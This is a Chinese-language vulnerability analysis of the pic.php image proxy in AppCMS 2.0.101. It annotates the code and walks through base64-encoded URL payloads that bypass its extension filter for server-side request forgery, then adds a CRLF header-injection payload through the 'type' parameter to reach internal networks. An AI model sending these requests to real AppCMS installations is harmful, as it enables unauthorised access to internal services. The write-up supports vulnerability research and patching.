官網:http://www.appcms.cc/
演示站點:http://www.topber.com/
下載最新安裝包:http://www.appcms.cc/download/appcms_2.0.101.zip
安裝好後看 pic.php 文件代碼如下:
<?php
if(isset($_GET['url']) && trim($_GET['url']) != '' && isset($_GET['type'])) {
$img_url=trim($_GET['url']);
$img_url = base64_decode($img_url);
$img_url=strtolower(trim($img_url));
$_GET['type']=strtolower(trim($_GET['type']));
$urls=explode('.',$img_url);
if(count($urls)<=1) die('image type forbidden 0');
$file_type=$urls[count($urls)-1];
if(in_array($file_type,array('jpg','gif','png','jpeg'))){}else{ die('image type foridden 1');}
if(strstr($img_url,'php')) die('image type forbidden 2');
if(strstr($img_url,chr(0)))die('image type forbidden 3');
if(strlen($img_url)>256)die('url too length forbidden 4');
header("Content-Type: image/{$_GET['type']}");
readfile($img_url);
} else {
die('image not find!');
}
?>
下面一行一行分析:
<?php
if(isset($_GET['url']) && trim($_GET['url']) != '' && isset($_GET['type'])) {
$img_url=trim($_GET['url']); //去掉空白字符
$img_url = base64_decode($img_url); //把url參數做base64解碼、說明傳入時是base64編碼的
$img_url=strtolower(trim($img_url));//把img_url轉化爲小寫
$_GET['type']=strtolower(trim($_GET['type']));//把type轉爲小寫
$urls=explode('.',$img_url); //使用 . 分割 img_url,如果是1.png
if(count($urls)<=1) die('image type forbidden 0');//如果urls數組小於或者等於1,則終止輸出image type forbidden 0
///pic.php?url=test&type=png,隨便試試看
//也就是說首先要繞過這個流程,就必須要urls數組大於1纔可以,也就是.做base64編碼,然後.的左右要都不爲空纔可以;
//把 http://test.com 做base64編碼後的值是 aHR0cDovL3Rlc3QuY29t 然後用這個值試試可否繞過第一部流程;
//訪問 /pic.php?url=aHR0cDovL3Rlc3QuY29t&type=png
// 走到下面的流程了,繼續看下面的代碼;
$file_type=$urls[count($urls)-1]; //取得數組倒數第一個值,這裏是獲取文件類型的哦
if(in_array($file_type,array('jpg','gif','png','jpeg'))){}else{ die('image type foridden 1');
//判斷圖片類型是不是’jpg’,’gif’,’png’,’jpeg’這幾種,如果是的話什麼都不做,如果不是的話則輸出 image type foridden 1
//上面走到 image type foridden 1了,接着要加個圖片類型,繞過這個流程;
//把http://test.com/1.png 做base64編碼 aHR0cDovL3Rlc3QuY29tLzEucG5n 訪問
http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucG5n&type=png, 在這樣是可以繞過這個流程,不過顯示的不對了,成爲正常訪問圖片的效果了;
//這裏其實也存在一個瀏覽器的RFC標準問題、沒按照標準來就容易出問題;
//要實現***f 這樣是做不到了,換成php試試呢,
//把http://test.com/1.php 做base64編碼 aHR0cDovL3Rlc3QuY29tLzEucGhw 訪問
http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucGhw&type=php
發現又回到了上面的流程、這樣行不通。。。
//上面流程主要是判斷圖片類型的、 把http://test.com/1.png 做編碼,這樣是讀png圖片流,響應爲php文件;
訪問 http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucG5n&type=php
發現在客戶端是下載php的,而不是去解析php的,因爲隨便構造的,下載下來的文件是啥都沒有。
//上面是把圖片當作php文件去下載、 反過來試試呢
//把php文件當圖片下載
把http://test.com/1.php 做編碼;
訪問 http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucGhw&type=png
試過了還是不行、還是回到了上面的流程了、、、
因爲在 url 參數中做了擴展名控制,所以不能任意文件下載,不然可以做base64編碼做任意文件下載噢、還有一種情況存在的可能性,解析漏洞、試試看
把http://test.com/1.php%00.png 做編碼是 aHR0cDovL3Rlc3QuY29tLzEucGhwJTAwLnBuZw==
訪問:http://127.0.0.1/appcms/pic.php?url= aHR0cDovL3Rlc3QuY29tLzEucGhwJTAwLnBuZw==&type=png
// appcms 的設計還真是嚴謹、考慮的這麼周到;終於到下一步了;
if(strstr($img_url,'php')) die('image type forbidden 2');//這裏看到了,防護瞭解析漏洞
if(strstr($img_url,chr(0)))die('image type forbidden 3');//這裏還判斷了空字符截斷
if(strlen($img_url)>256)die('url too length forbidden 4');//還判斷了 url長度不能大於256
header("Content-Type: image/{$_GET['type']}");//這裏是重點,type是響應類型,這個參數是可控的了
readfile($img_url);//開始讀文件
} else {
die('image not find!');//如果沒有設置url或者type走這裏
}
代碼分析完畢、、、、
之後考慮了下 /1.png 可以通過判斷, 用/?1.png也可以通過判斷,這就是問題所在了,/?1.png相當於/index.php?pic=1.png或者/index.html?pic=1.png,這樣訪問在沒有獲取這個參數時會忽略掉直接顯示;試試看
隨便找個站 http://v.qq.com/x/search/?q=1.png ,然後做base64編碼;
aHR0cDovL3YucXEuY29tL3gvc2VhcmNoLz9xPTEucG5n
訪問:
http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3YucXEuY29tL3gvc2VhcmNoLz9xPTEucG5n&type=png
ok了、、、如果用火狐的話,需要分析這個文件流,內容都是文件流中,基於瀏覽器的解析機制不一樣,可以換IE瀏覽器,直接查看返回的內容了;
作爲極客、這樣不算完成、過濾了空字符、還可以聯想到 HTTP相應拆分漏洞,用他來顯示出內容;
給個換行 測試url如下:
http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3YucXEuY29tL3gvc2VhcmNoLz9xPTEucG5n&type=png%0A%0Dtest
然後就可以內網漫遊了、、、